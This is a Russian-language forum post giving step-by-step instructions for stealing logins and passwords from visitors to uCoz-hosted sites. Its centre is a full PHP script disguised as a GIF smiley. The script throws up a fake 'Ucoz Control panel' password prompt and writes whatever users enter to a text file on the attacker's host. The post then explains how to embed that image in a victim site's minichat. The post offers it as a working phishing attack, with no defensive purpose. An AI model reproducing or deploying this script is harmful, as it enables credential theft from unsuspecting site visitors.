Форум

Взлом сайта на ucoz

Инструкция:
1. Регистрируем хост с поддержкой php (ww.hut.ru).
2. Размешаем на хосте файл passwords.txt и cool.gif (смайлик (очень маленький)). Права все на файлы ставим 0755.
3. Открываем блокнот и записываем в него следующее:

цитата:

header("Content-type: image/gif");
$image = imagecreatefromgif('cool.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="Ucoz Control panel"');
}
elseif($login)
{
setcookie('LOGON',md5($pass));
$f = fopen('passwords.txt', 'ab');
fwrite($f, $login." ||| ".$pass."\r\n");
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>

и сохраняем под названием smile.gif и ставим права 0755.
4. Выбираете любой юкозовский сайт и заходите в него.
5. В миничате этого сайта пишете:
[img] http://mysite.phphost.net/smile.gif [/img] (без пробелов).
6. И теперь если в миничате появился смайлик то значит сайт взломать можно.
7. Итог:
После этого у всех кто будет заходить на данную страницу, будет появляться форма в которую нужно будет ввести логин и пароль. И если ктото введёт логин и пароль то его логины и пароли прилут к нам.